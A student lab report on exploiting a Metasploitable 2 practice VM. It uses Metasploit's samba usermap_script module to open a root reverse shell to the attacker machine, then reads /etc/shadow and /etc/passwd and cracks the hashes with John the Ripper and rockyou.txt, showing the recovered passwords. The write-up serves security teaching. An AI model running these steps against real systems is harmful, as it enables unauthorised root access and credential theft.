Lab 4 - OS Security

> Pair Assignment
>
> Igor Mpore (i.mpore@innopolis.university)
>
> Ahmed Nouralla (a.shaaban@innopolis.university)

Target Machine: Metasploitable 2 on Ahmed's host machine

Attacker: Igor's machine

Part 1: Setting up the environment

First of all, we made sure that both machines are in the same network and then assigned them with static ips using this command:

```
sudo ip addr add <ip> dev eth0
```

The target machine had **10.0.0.4** and the attacker's machine had **10.0.0.3** . Now, we proceed with preparing the target machine

Target Machine

On the target machine, the VM was set using the tutorial from this link. We used QEMU to set up our VM from this tutorial. After everything was ready, then the target machine was done and proceeded on trying to exploit it using Metasploit Framework

Metaspoit Network: The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. More details can be found here

Attacker's Machine

The attacker's machine already had Kali Linux installed and MSF was already installed and ready.

Part 2: Exploitation

Not we proceeded checking the open ports using nmap command (port scanning nmap commands can be found here):

```
nmap 10.0.0.4 -A
```

Eventhough we did the port scanning, we already knew that samba was running on port 139 which we will be exploiting.

```
use exploit/multi/samba/usermap_script
set RHOST 10.0.0.4
set LHOST 10.1.1.3
set PAYLOAD /cmd/unix/reverse
exploit
```

```
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set rhost 10.0.0.4
rhost => 10.0.0.4
msf6 exploit(multi/samba/usermap_script) > set lhost 10.0.0.3
lhost => 10.0.0.3
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.4:36855 ) at 2022-02-12
18:03:55 -0500

whoami
root
```

After using the exploit command, the reverse TCP handler was already open on the target machine and it was ready for further exploitation.

Here are the steps followed next:

- Run `cat /etc/shadow` and copy output to attacker machine in file named shadow
- Run `cat /etc/passwd` and copy output to attacker machine in file named pass
- Run `unshadow pass shadow > unshadow` to combine the two files into `unshadow` file
- Downloaded `rockyou.txt` password list from here
- We then Used john the ripper to crack the passwords by running `john --wordlist=rockyou.txt unshadow`
- here is the screenshot of results:

```
└─$ john --wordlist=rockyou.txt unshadow
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 A
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789        (klog)
batman           (sys)
service          (service)
```

That's all for this exercise.